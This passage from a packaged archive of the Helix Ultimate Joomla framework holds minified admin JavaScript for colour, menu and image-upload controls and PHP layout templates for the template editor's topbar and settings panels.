.no-animate").length)?c?t.slideDown():t.slideUp():t.toggle(c)}e(".hu-input-color").each((function(){e(this).addClass("minicolors")})),e(".hu-menu-builder .minicolors").each((function(){e(this).minicolors({control:"hue",position:"bottom",theme:"bootstrap",keywords:"transparent, initial, inherit",letterCase:"uppercase",opacity:!0})})),e(".hu-field-alignment .hu-switcher-action").on("click",(function(t){t.preventDefault();const n=e(this).siblings();n.hasClass("active")&&n.removeClass("active"),e(this).addClass("active");e(this).closest(".hu-field-alignment").find("input[type=hidden]").val(e(this).data("value")).trigger("change")})),e(document).on("change",".hu-menu-hierarchy-container .hu-menu-item-selector.select-all",(function(t){t.preventDefault();const n=e(this).closest(".hu-menu-hierarchy-list").find(".hu-menu-hierarchy-item:not(.level-0)"),i=e(this).closest(".hu-menu-hierarchy-container").find("input[type=hidden]");let a=e(this).prop("checked"),l=[];a||l.length>0&&(l=[]),n.each((function(){const t=e(this).find("input[type=checkbox]");t.prop("checked",a);const n=t.val();a&&-1===l.indexOf(n)&&l.push(n)})),i.val(JSON.stringify(l)).trigger("change")})),e(document).on("change",".hu-menu-hierarchy-container .hu-menu-item-selector:not(.level-0)",(function(t){t.preventDefault();const n=e(this).closest(".hu-menu-hierarchy-container").find("input[type=hidden]"),i=e(this).closest(".hu-menu-hierarchy-list").find("input[type=checkbox].select-all"),a=i.data("elements");let l=n.val();l=l.length&&JSON.parse(l)||[];const o=e(this).val();if(e(this).prop("checked"))-1===l.indexOf(o)&&l.push(o);else{let e=l.indexOf(o);e>-1&&l.splice(e,1)}l.length===a.length?i.prop("checked",!0):i.prop("checked",!1),n.val(JSON.stringify(l)).trigger("change")})),Joomla.setUpShowon=function(n){n=n||document;for(var i=e(n).find("[data-revealon]"),a=0,l=i.length;a<l;a++)!function(){for(var l,o=e(i[a]),h=o.data("revealon")||[],c=e(),s=0,r=h.length;s<r;s++)l=h[s].field,c=c.add(e('[name="'+l+'"], [name="'+l+'[]"]'));t(o,!0,n),c.on("change keyup",(function(){t(o,!0,n)}))}()},e(document).on("blur",".hu-unit-field-input",(function(t){t.preventDefault();let n=e(this).val(),i="px",a=e(this).parent().find("input.hu-unit-field-value");if(n=n.replace(/\s/g,""),""===n)return void a.val("");const l=n.match(/^([+-]?(?:\d+|\d*\.\d+))(px|em|rem|%)?$/i);l&&l.length>0?([_,n,i]=l,void 0===i&&(i=e(this).parent().find("select.hu-unit-select").val()||"px")):n=parseFloat(n)||"",e(this).val(n),e(this).next("select.hu-unit-select").val(i),a.val(`${n}${i}`).trigger("change")})),e(document).on("change","select.hu-unit-select",(function(t){t.preventDefault();let n=e(this).val()||"px",i=e(this).parent().find("input.hu-unit-field-input").val(),a=e(this).parent().find("input.hu-unit-field-value");i&&a.val(`${i}${n}`).trigger("change")}))}));PK!z_L���-helixultimate/assets/js/admin/blog-options.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
jQuery((function(a){a(document).ready((function(){var e=a("#myTabTabs").find(">li").first();a('a[href="#attrib-helix_ultimate_blog_options"]').parent().insertAfter(e)})),a(".hu-image-field").each((function(e,t){var i=a(t);i.find(".btn-hu-image-upload").on("click",(function(a){a.preventDefault(),i.find(".hu-image-upload").click()})),i.find(".hu-image-upload").on("change",(function(e){e.preventDefault();var t=a(this),l=a(this).prop("files")[0],r=new FormData;r.append("option","com_ajax"),r.append("helix","ultimate"),r.append("request","task"),r.append("action","upload-blog-image"),r.append("format","json"),l.type.match(/image.*/)&&(r.append("image",l),a.ajax({type:"POST",data:r,contentType:!1,cache:!1,processData:!1,beforeSend:function(){t.prop("disabled",!0),i.find(".btn-hu-image-upload").attr("disabled","disabled");var e=a('<div class="hu-image-item-loader"><div class="progress" id="upload-image-progress"><div class="bar"></div></div></div>');i.find(".hu-image-upload-wrapper").addClass("loading").html(e)},success:function(e){var l=a.parseJSON(e);l.status?i.find(".hu-image-upload-wrapper").removeClass("loading").empty().html(l.output):i.find(".hu-image-upload-wrapper").removeClass("loading").empty();var r=i.find(".hu-image-upload-wrapper").find(">img");r.length?(a(".hu-image-field").removeClass("hu-image-field-empty").addClass("hu-image-field-has-image"),i.find("#jform_attribs_helix_ultimate_image").val(r.data("src"))):(a(".hu-image-field").removeClass("hu-image-field-has-image").addClass("hu-image-field-empty"),i.find("#jform_attribs_helix_ultimate_image").val("")),t.val(""),t.prop("disabled",!1),i.find(".btn-hu-image-upload").removeAttr("disabled")},xhr:function(){return myXhr=a.ajaxSettings.xhr(),myXhr.upload?myXhr.upload.addEventListener("progress",(function(e){a("#upload-image-progress").find(".bar").css("width",Math.floor(e.loaded/e.total*100)+"%")}),!1):alert("Uploadress is not supported."),myXhr},error:function(){i.find(".hu-image-upload-wrapper").empty(),t.val("")}})),t.val("")}))})),a(document).on("click",".btn-hu-image-remove",(function(e){e.preventDefault();var t=a(this).closest(".hu-image-field");if(1==confirm("You are about to delete this item permanently. 'Cancel' to stop, 'OK' to delete.")){var i={option:"com_ajax",helix:"ultimate",request:"task",action:"remove-blog-image",src:t.find(".sp-image-upload-wrapper").find(">img").data("src"),format:"json"};a.ajax({type:"POST",data:i,success:function(e){var i=a.parseJSON(e);i.status?(t.find(".hu-image-upload-wrapper").empty(),a(".hu-image-field").removeClass("hu-image-field-has-image").addClass("hu-image-field-empty"),t.find("#jform_attribs_helix_ultimate_image").val("")):alert(i.output)}})}})),a(".btn-hu-gallery-item-upload").on("click",(function(e){e.preventDefault(),a("#hu-gallery-item-upload").click()})),a("#hu-gallery-item-upload").on("change",(function(e){e.preventDefault();var t=a(this),l=a(this).prop("files");Joomla.getOptions("system.paths");for(i=0;i<l.length;i++){var r=l[i].name.split(".").pop();if("png"==r||"jpg"==r||"jpeg"==r||"gif"==r||"svg"==r){let e="gallery-id-"+Math.floor(1e6*Math.random()+1);var o=new FormData;o.append("option","com_ajax"),o.append("helix","ultimate"),o.append("request","task"),o.append("action","upload-blog-image"),o.append("image",l[i]),o.append("index",e),o.append("gallery",!0),o.append("format","json"),a.ajax({type:"POST",data:o,contentType:!1,cache:!1,processData:!1,beforeSend:function(){var t=a('<li class="hu-gallery-item loading" id="'+e+'"><div class="progress"><div class="bar"></div></div></li>');a(".hu-gallery-items").append(t)},success:function(t){var i=a.parseJSON(t);i.status?a("#"+e).attr("data-src",i.data_src).removeClass("loading").empty().html(i.output):(a("#"+e).remove(),alert(i.output));let l=[];a(".hu-gallery-items").find(">.hu-gallery-item").each((function(e,t){l.push('"'+a(t).data("src")+'"')}));let r='{"helix_ultimate_gallery_images":['+l+"]}";a("#jform_attribs_helix_ultimate_gallery").val(r)},xhr:function(){return myXhr=a.ajaxSettings.xhr(),myXhr.upload?myXhr.upload.addEventListener("progress",(function(t){a("#"+e).find(".bar").css("width",Math.floor(t.loaded/t.total*100)+"%")}),!1):console.log("Uploadress is not supported."),myXhr}})}}t.val("")})),a(".hu-gallery-items").sortable({stop:function(e,t){let i=[];a(".hu-gallery-item").each((function(e,t){i.push('"'+a(t).data("src")+'"')}));let l='{"helix_ultimate_gallery_images":['+i+"]}";a("#jform_attribs_helix_ultimate_gallery").val(l)}}),a(document).on("click",".btn-hu-remove-gallery-image",(function(e){e.preventDefault();var t=a(this);if(1==confirm("You are about to delete this item permanently. 'Cancel' to stop, 'OK' to delete.")){var i={option:"com_ajax",helix:"ultimate",request:"task",action:"remove-blog-image",src:t.parent().data("src"),format:"json"};a.ajax({type:"POST",data:i,success:function(e){var i=a.parseJSON(e);if(i.status){t.parent().remove();let e=[];a(".hu-gallery-item").each((function(t,i){e.push('"'+a(i).data("src")+'"')}));let i='{"helix_ultimate_gallery_images":['+e+"]}";a("#jform_attribs_helix_ultimate_gallery").val(i)}else alert(i.output)}})}}))}));PK!T��Ԏ�0helixultimate/layouts/cpanel/editor/controls.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();
use HelixUltimate\Framework\Platform\Settings;

extract($displayData);

$sidebar = new Settings;
?>

<div id="hu-options-panel">
	<div class="hu-panel-handle">
		<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 15 7"><path fill="#020B53" fill-rule="evenodd" d="M1.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm0 4a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM9 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM7.5 7a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM15 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 7a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd" opacity=".2"/></svg>
	</div>
	<div class="hu-fade-border"></div>
	<?php echo $sidebar->renderBuilderControlBoard(); ?>
</div>PK!��&�#�#.helixultimate/layouts/cpanel/editor/topbar.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;
use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$app = Factory::getApplication();

// Gets the FrontEnd Main page Uri
$frontEndUri = Uri::getInstance(Uri::root());
$frontEndUri->setScheme(((int) $app->get('force_ssl', 0) === 2) ? 'https' : 'http');
$mainPageUri = $frontEndUri->toString();

$sidebar = new Settings;

?>

<div class="hu-topbar">
	<div class="topbar-left">
		<div class="hu-logo">
			<div>
				<svg xmlns="http://www.w3.org/2000/svg" class="hu-logo" width="82" height="24" fill="none"><path fill="#0345BF" fill-rule="evenodd" d="M6.976 15.448c-.039-.814.233-3.568 4.732-5.779 4.5-2.21 4.965-3.995 4.965-3.995-.465 2.444-1.241 3.143-5.508 5.43-4.066 2.182-4.189 4.344-4.189 4.344zM6.976 20.144s.123-2.162 4.19-4.344c4.266-2.288 5.042-2.987 5.507-5.43 0 0-.465 1.785-4.965 3.995-4.499 2.21-4.77 4.964-4.732 5.78z" clip-rule="evenodd"/><mask id="a" width="25" height="24" x="0" y="0" maskUnits="userSpaceOnUse"><path fill="#fff" d="M0 0h24.002v24H0V0z"/></mask><g mask="url(#a)"><path fill="#0345BF" fill-rule="evenodd" d="M12 23.999C5.385 23.999 0 18.616 0 12 0 5.382 5.384 0 12 0c6.618 0 12.002 5.383 12.002 12.001C24.002 18.616 18.617 24 12 24zm0-22.782C6.057 1.217 1.219 6.053 1.219 12c0 5.944 4.838 10.782 10.783 10.782 5.945 0 10.782-4.838 10.782-10.782 0-5.947-4.837-10.783-10.782-10.783z" clip-rule="evenodd"/></g><path fill="#000" fill-rule="evenodd" d="M40.96 13.988V9.403h-4.89v4.585h-3.004V2.182h3.005V7.04h4.89V2.182h2.997v11.806h-2.997zM48.475 4.544v2.347h5.631v2.362h-5.631v2.372h6.422v2.363H45.47V2.182h9.246v2.362h-6.241zM64 11.476v2.511h-8.01V2.183h3.005v9.294H64zM65.075 13.988h3.004V2.182h-3.004v11.806zM81.168 13.988h-3.59l-2.552-3.763-2.544 3.763h-3.49l4.215-6.035-3.944-5.771h3.491l2.272 3.44 2.28-3.44h3.524l-3.893 5.63 4.231 6.176z" clip-rule="evenodd"/><path fill="#525252" d="M37.02 18.318v3.717a1.883 1.883 0 01-.242.957c-.16.272-.386.481-.677.628-.29.145-.622.217-.999.217-.573 0-1.033-.155-1.38-.467-.343-.314-.522-.748-.534-1.301v-3.75h.456V22c0 .46.131.816.393 1.07.261.252.617.377 1.065.377.45 0 .803-.127 1.062-.38.262-.255.393-.61.393-1.063v-3.687h.464zM40.911 23.374h2.688v.389h-3.152v-5.445h.464v5.056zM49.292 18.711h-1.866v5.052h-.46V18.71h-1.862v-.393h4.188v.393zM52.88 23.763h-.46v-5.445h.46v5.445zM57.114 18.318l2.008 4.805 2.015-4.805h.614v5.445h-.46v-2.371l.037-2.43-2.027 4.8h-.355l-2.019-4.782.038 2.397v2.386h-.46v-5.445h.609zM68.28 22.237h-2.47l-.562 1.526h-.482l2.06-5.445h.438l2.06 5.445h-.478l-.565-1.526zm-2.329-.393h2.184l-1.092-2.965-1.092 2.965zM75.48 18.711h-1.865v5.052h-.46V18.71h-1.862v-.393h4.187v.393zM81.513 21.153h-2.546v2.22h2.928v.39h-3.388v-5.445h3.369v.393h-2.91v2.053h2.547v.389z"/></svg>
			</div>
			<span class="hu-version"><?php echo Helper::getVersion(); ?></span>
		</div>
	</div>
	<div class="topbar-middle">
		<div class="hu-devices">
			<button class="hu-device active" data-device="desktop" title="Desktop">
				<svg xmlns="http://www.w3.org/2000/svg" width="20" height="15" fill="none"><path fill="#020B53" d="M17.46 12.07c1.196 0 1.79-.578 1.79-1.789V1.79C19.25.57 18.656 0 17.46 0H1.79C.601 0 0 .57 0 1.79v8.491c0 1.211.602 1.79 1.79 1.79h15.67zm-.023-1.023H1.813c-.546 0-.789-.227-.789-.79V1.806c0-.555.243-.79.79-.79h15.624c.547 0 .797.235.797.79v8.453c0 .562-.25.789-.797.789zm-3.125 3.797c.352 0 .633-.29.633-.649a.639.639 0 00-.633-.648H4.915a.645.645 0 00-.64.648c0 .36.288.649.64.649h9.399z"/></svg>
			</button>
			<button class="hu-device" data-device="tablet" title="Tablet">
				<svg width="15" height="18" viewBox="0 0 15 18" fill="none" xmlns="http://www.w3.org/2000/svg">
					<path d="M12.8056 0C13.7316 0 14.4722 0.761229 14.4722 1.68889V16.0889C14.4722 17.0165 13.7316 17.7778 12.8056 17.7778H1.91667C0.990595 17.7778 0.25 17.0165 0.25 16.0889V1.68889C0.25 0.761229 0.990595 0 1.91667 0H12.8056ZM12.8056 0.888889H1.91667L1.81915 0.895113C1.43579 0.944406 1.13889 1.28052 1.13889 1.68889V16.0889L1.14495 16.1894C1.19297 16.5842 1.52036 16.8889 1.91667 16.8889H12.8056L12.9031 16.8827C13.2864 16.8334 13.5833 16.4973 13.5833 16.0889V1.68889L13.5773 1.58843C13.5292 1.19359 13.2019 0.888889 12.8056 0.888889ZM7.36111 14.2222C7.85178 14.2222 8.25 14.6196 8.25 15.1111C8.25 15.6027 7.85178 16 7.36111 16C6.87044 16 6.47222 15.6027 6.47222 15.1111C6.47222 14.6196 6.87044 14.2222 7.36111 14.2222ZM12.2497 12.4444C12.4909 12.4444 12.6944 12.6434 12.6944 12.8889L12.6873 12.9669C12.6496 13.1704 12.468 13.3333 12.2497 13.3333H2.47253C2.23133 13.3333 2.02778 13.1343 2.02778 12.8889L2.03494 12.8109C2.0726 12.6073 2.25419 12.4444 2.47253 12.4444H12.2497Z"/>
				</svg>
			</button>
			<button class="hu-device" data-device="mobile" title="Mobile">
				<svg width="12" height="16" viewBox="0 0 12 16" fill="none" xmlns="http://www.w3.org/2000/svg">
					<path d="M9.99995 0C10.7861 0 11.3611 0.689442 11.3611 1.47778V14.0778C11.3611 14.8661 10.7861 15.5556 9.99995 15.5556H1.83328C1.0471 15.5556 0.472168 14.8661 0.472168 14.0778V1.47778C0.472168 0.689442 1.0471 0 1.83328 0H9.99995ZM9.99995 0.777778H1.83328L1.76014 0.783224C1.47262 0.826355 1.24995 1.12045 1.24995 1.47778V14.0778L1.25449 14.1657C1.29051 14.5112 1.53605 14.7778 1.83328 14.7778H9.99995L10.0731 14.7723C10.3606 14.7292 10.5833 14.4351 10.5833 14.0778V1.47778L10.5787 1.38987C10.5427 1.04439 10.2972 0.777778 9.99995 0.777778ZM5.91661 11.6667C6.34595 11.6667 6.69439 12.0143 6.69439 12.4444C6.69439 12.8746 6.34595 13.2222 5.91661 13.2222C5.48728 13.2222 5.13883 12.8746 5.13883 12.4444C5.13883 12.0143 5.48728 11.6667 5.91661 11.6667ZM7.09068 2.33333C7.3049 2.33333 7.47217 2.50744 7.47217 2.72222L7.46442 2.79879C7.42885 2.973 7.27504 3.11111 7.09068 3.11111H4.74254C4.52832 3.11111 4.36106 2.937 4.36106 2.72222L4.36881 2.64565C4.40438 2.47145 4.55819 2.33333 4.74254 2.33333H7.09068Z"/>
				</svg>
			</button>
		</div>
	</div>

	<div class="topbar-right">

		<div class="hu-response">
			<div class="hu-loading-msg">
				<div class="spinner-border spinner-border-sm" role="status">
					<span class="visually-hidden">Drafting...</span>
				</div>
				<span class="hu-response-msg"><?php echo Text::_('HELIX_ULTIMATE_TOPBAR_MSG_DRAFTING'); ?></span>
			</div>

			<div class="hu-done-msg">
				<span class="fas fa-check-circle" aria-hidden="true" style="color: green;"></span> <span class="hu-response-msg"><span class="hu-msg"><?php echo Text::_('HELIX_ULTIMATE_TOPBAR_MSG_DRAFTED'); ?></span></span>
			</div>

			<button type="button" role="button" class="hu-btn hu-btn-reset action-reset-drafts">
				<span class="fas fa-history" aria-hidden="true"></span> <?php echo Text::_('HELIX_ULTIMATE_TOPBAR_MSG_RESET_DRAFT'); ?>
			</button>
		</div>

		<button class="hu-btn hu-btn-primary action-save-template" data-id="<?php echo $id; ?>" data-view="<?php echo $view; ?>">
			<svg width="12" height="12" viewBox="0 0 12 12" fill="none" xmlns="http://www.w3.org/2000/svg">
				<path d="M1.05 1.30792e-06C0.476083 1.30792e-06 0 0.476085 0 1.05V10.95C0 11.5239 0.476083 12 1.05 12H10.95C11.5239 12 12 11.5239 12 10.95V2.85C12.0001 2.79085 11.9886 2.73225 11.9661 2.67756C11.9436 2.62287 11.9105 2.57315 11.8687 2.53125L9.46875 0.131251C9.42685 0.0895008 9.37713 0.0564192 9.32244 0.0338983C9.26774 0.0113773 9.20914 -0.000141288 9.15 1.30792e-06H1.05ZM1.05 0.900001H2.25V4.65C2.25001 4.76934 2.29743 4.88379 2.38181 4.96818C2.4662 5.05257 2.58066 5.09999 2.7 5.1H8.7C8.81934 5.09999 8.93379 5.05257 9.01818 4.96818C9.10257 4.88379 9.14998 4.76934 9.15 4.65V1.0875L11.1 3.0375V10.95C11.1 11.0409 11.0409 11.1 10.95 11.1H1.05C0.959116 11.1 0.9 11.0409 0.9 10.95V1.05C0.9 0.959117 0.959116 0.900001 1.05 0.900001ZM3.15 0.900001H8.25V4.2H3.15V0.900001ZM6 6.15C4.92837 6.15 4.05 7.02837 4.05 8.1C4.05 9.17161 4.92837 10.05 6 10.05C7.07162 10.05 7.95 9.17161 7.95 8.1C7.95 7.02837 7.07162 6.15 6 6.15ZM6 7.05C6.58523 7.05 7.05 7.51477 7.05 8.1C7.05 8.68522 6.58523 9.15 6 9.15C5.41477 9.15 4.95 8.68522 4.95 8.1C4.95 7.51477 5.41477 7.05 6 7.05Z" fill="white"/>
			</svg>
			<span class="helix-topbar-save-text hu-ml-1">
				<div class="hu-topbar-save-spinner hidden spinner-border spinner-border-sm" role="status">
					<span class="visually-hidden">Saving...</span>
				</div>
				<?php echo Text::_('HELIX_ULTIMATE_SAVE_CHANGES'); ?>
			</span>
		</button>
		
		<a class="hu-btn hu-btn-round" href="<?php echo Route::_('index.php?option=com_templates'); ?>">
			<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none"><path d="M11.414 11.411a.566.566 0 000-.797L6.586 5.786 11.414.958a.566.566 0 000-.797.58.58 0 00-.797 0L5.79 4.99.961.161a.573.573 0 00-.797 0 .566.566 0 000 .797l4.828 4.828-4.828 4.828a.566.566 0 000 .797.566.566 0 00.797 0l4.828-4.828 4.828 4.828a.559.559 0 00.797 0z"/></svg>
		</a>
	</div>
</div>PK!(I�i>>7helixultimate/layouts/cpanel/control-board/settings.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Layout\LayoutHelper;

extract($displayData);

?>

<div id="hu-options">
	<?php foreach ($fieldsets as $key => $fieldset): ?>
		<?php echo LayoutHelper::render('cpanel.control-board.fieldset.icon', ['fieldset' => $fieldset, 'key' => $key, 'form' => $form], HELIX_LAYOUTS_PATH); ?>
	<?php endforeach; ?>
</div>PK!���||=helixultimate/layouts/cpanel/control-board/fieldset/field.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;
use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

extract($displayData);

?>
<?php

	/**
	 * Apply chosen for the multiple select field for J3!
	 * @TODO: apply chosen for J4 multiple select.
	 */
	if (JoomlaBridge::getVersion('major') < 4)
	{
		HTMLHelper::_('formbehavior.chosen', 'select[multiple]');
	}

	$showon = $field->getAttribute('showon');
	$attribs = '';

	if ($showon)
	{
		$attribs .= ' data-showon=\'' . json_encode(Settings::parseShowOnConditions($showon)) . '\'';
	}

	$setvalue = '';

	if (\is_array($field->value) || \is_object($field->value))
	{
		$setvalue = json_encode($field->value);
	}
	else
	{
		$setvalue = $field->value;
	}

	$track = $field->getAttribute('track');
	$hasTrack = true;

	if (!empty($track))
	{
		$hasTrack = !($track === 'false' || $track === 'off');
	}

	$hideLabel = $field->getAttribute('hideLabel', false);
	$description = Text::_($field->getAttribute('description', ''));
	$type = $field->getAttribute('type', 'text');
	$multiple = $field->getAttribute('multiple');
	$multiple = isset($multiple) && ($multiple === 'true' || $multiple === 'on');
	$separator = $field->getAttribute('separator');

	$separator = isset($separator) && ($separator === 'true' || $separator === 'on') ? true : false;

	// Enable disable on
	$enableOn = $field->getAttribute('enableon', '');

	if ($enableOn)
	{
		$attribs .= ' data-enableon="' . $enableOn . '"';
	}

	$checkboxStyle = $field->getAttribute('style', 'switch');
	$className = $field->getAttribute('className', '');

	// Group Class
	$group_class = (($group) ? 'group-style-' . $group : '');

	if ($type === 'checkbox')
	{
		$group_class .= ($checkboxStyle === 'plain') ? ' hu-style-checkbox': ' hu-style-switcher';
	}

	$group_class .= $separator ? ' hu-field-separator': '';
	$group_class .= !empty($className) ? ' ' . $className : '';

	$listStyle = $field->getAttribute('style');
	$display = $field->getAttribute('display', '');
	$invalidDataFields = ['before_head', 'after_body', 'before_body', 'custom_css', 'custom_js'];
	$isValidDataField = !\in_array($field->name, $invalidDataFields);
?>

<div class="<?php echo $group_class; ?>" <?php echo $attribs; ?>>
	<div class="control-group">
		<div class="control-group-inner<?php echo $display === 'inline' ? ' hu-inline-group' : ''; ?>">
			<?php if ($type === 'checkbox' && $checkboxStyle === 'plain'): ?>
				<label class="control-label">
					<div class="controls <?php echo $hasTrack ? 'trackable' : ''; ?>"
						data-safepoint='<?php echo $isValidDataField ? $setvalue : ''; ?>'
						data-currpoint='<?php echo $isValidDataField ? $setvalue : ''; ?>'
						data-selector="#<?php echo $field->id; ?>">
						<?php echo $field->input; ?>
					</div>

					<?php if (!$field->getAttribute('hideLabel', false)): ?>
						<?php echo Text::_($field->getAttribute('label')); ?>

						<!-- if description exists then show the help icon -->
						<?php if (!empty($description)): ?>
							<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>
						<?php endif ?>
					<?php endif; ?>
				</label>
			<?php else: ?>
				<?php if (!$field->getAttribute('hideLabel', false)): ?>
					<label class="control-label">
						<?php echo Text::_($field->getAttribute('label')); ?>

						<!-- if description exists then show the help icon -->
						<?php if (!empty($description)): ?>
							<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>
						<?php endif ?>
					</label>

					<!-- if description exists and type is not the checkbox then show the help text above of the input field. -->
					<?php if (!empty($description) && $type !== 'checkbox' && $display !== 'inline'): ?>
						<div class="hu-control-help"><?php echo $description; ?></div>
					<?php endif; ?>
				<?php endif; ?>

				<div class="controls <?php echo $hasTrack ? 'trackable' : ''; ?>"
					data-safepoint='<?php echo $isValidDataField ? $setvalue : ''; ?>'
					data-currpoint='<?php echo $isValidDataField ? $setvalue : ''; ?>'
					data-selector="#<?php echo $field->id; ?>">
					<?php echo $field->input; ?>
				</div>

				<?php endif; ?>
			</div>
		<!-- if description exists and type is checkbox then show the help text next to the input field. -->
		<?php if (!empty($description) && ($type === 'checkbox' || $display === 'inline')): ?>
			<p class="hu-control-help"><?php echo $description; ?></p>
		<?php endif; ?>
	</div>
</div>PK!�W����>helixultimate/layouts/cpanel/control-board/fieldset/fields.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Settings;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

extract($displayData);

?>

<?php foreach ($groupData as $key => $data): ?>
	<?php if (\is_numeric($key)): ?>
		<?php echo LayoutHelper::render('cpanel.control-board.fieldset.field', ['field' => $data, 'group' => $group], HELIX_LAYOUTS_PATH); ?>
	<?php elseif (preg_match("#^subgroup-.+$#", $key)): ?>
		<?php
			$masterLabel = $data[0]->getAttribute('masterlabel');
			$masterLabel = isset($masterLabel) ? Text::_($masterLabel) : '';

			$masterDescription = $data[0]->getAttribute('masterdesc');
			$masterDescription = isset($masterDescription) ? Text::_($masterDescription) : '';

			$masterClass = $data[0]->getAttribute('masterclass');
			$masterClass = isset($masterClass) ? $masterClass : 'row hu-align-items-center';

			$masterHasSeparator = $data[0]->getAttribute('masterseparator');
			$masterHasSeparator = isset($masterHasSeparator) && ($masterHasSeparator === 'true' || $masterHasSeparator === 'on') ? ' hu-field-separator': '';
		?>
		<!-- if master label provider for the subgroup -->
		<?php if (!empty($masterLabel)): ?>
			<div class="control-group master-label-group">
				<div class="control-label">
					<label for=""><?php echo $masterLabel; ?></label>
					<?php if (!empty($masterDescription)): ?>
						<span class="hu-help-icon hu-ml-2 fas fa-info-circle"></span>
						<p class="hu-control-help"><?php echo $masterDescription; ?></p>
					<?php endif ?>
				</div>
			</div>
		<?php endif ?>

		<div class="hu-subgroup <?php echo $masterClass . $masterHasSeparator; ?>">
			<?php foreach ($data as $subgroup => $field): ?>
				<?php
					$classes =  $field->getAttribute('subclasses');
					$classes = isset($classes) ? $classes : 'col';
				?>
				<div class="<?php echo $classes; ?>">
					<?php echo LayoutHelper::render('cpanel.control-board.fieldset.field', ['field' => $field, 'group' => $group], HELIX_LAYOUTS_PATH); ?>
				</div>
			<?php endforeach ?>
		</div>
	<?php endif  ?>
<?php endforeach ?>PK!n/��>helixultimate/layouts/cpanel/control-board/fieldset/groups.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

extract($displayData);
?>

<?php foreach ($groups as $key => $group):  ?>
	<?php if ($key !== 'no-group'): ?>
		<div class="hu-group-wrap hu-group-<?php echo $key; ?> <?php echo $group['isActive'] ? 'active' : ''; ?>" <?php echo !empty($group['dependent']) ? 'data-dependon="' . $group['dependent'] . '"' : ''; ?>>
			<div class="hu-group-header-box">
				<span class="hu-group-title"><?php echo Text::_('HELIX_ULTIMATE_GROUP_' . strtoupper($key)); ?></span>
				<span class="hu-group-toggle-icon fas fa-angle-right"></span>
			</div>
			<div class="hu-field-list <?php echo $group['isActive'] ? 'active-group' : ''; ?>" data-uid="<?php echo $fieldset_name . '-'. $key; ?>" <?php echo $group['isActive'] ? 'style="display:block;"' : ''; ?>>
				<?php echo LayoutHelper::render('cpanel.control-board.fieldset.fields', ['group' => $key, 'groupData' => $group], HELIX_LAYOUTS_PATH); ?>
			</div>
		</div>
	<?php else: ?>
		<div class="hu-no-group-wrap">
			<?php echo LayoutHelper::render('cpanel.control-board.fieldset.fields', ['group' => $key, 'groupData' => $group], HELIX_LAYOUTS_PATH); ?>
		</div>
	<?php endif ?>
<?php endforeach; ?>
PK!�tm�||=helixultimate/layouts/cpanel/control-board/fieldset/panel.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Layout\LayoutHelper;

extract($displayData);

$fields 	= $form->getFieldset($key);

$activeGroup = isset($fieldset->activegroup) ? $fieldset->activegroup : '';

if (!empty($fields))
{
	$index = 0;

	foreach ($fields as $i => $field)
	{
		$subgroup = $field->getAttribute('helixsubgroup');
		$group = $field->getAttribute('helixgroup') ? $field->getAttribute('helixgroup') : 'no-group';

		if (isset($subgroup))
		{
			$groups[$group]['subgroup-' . $subgroup][] = $field;
		}
		else
		{
			$groups[$group][] = $field;
		}


		$groups[$group]['isActive'] = false;
		$groups[$group]['dependent'] = $field->getAttribute('dependant', '');

		if ($activeGroup === $group)
		{
			$groups[$group]['isActive'] = true;
		}
	}
}

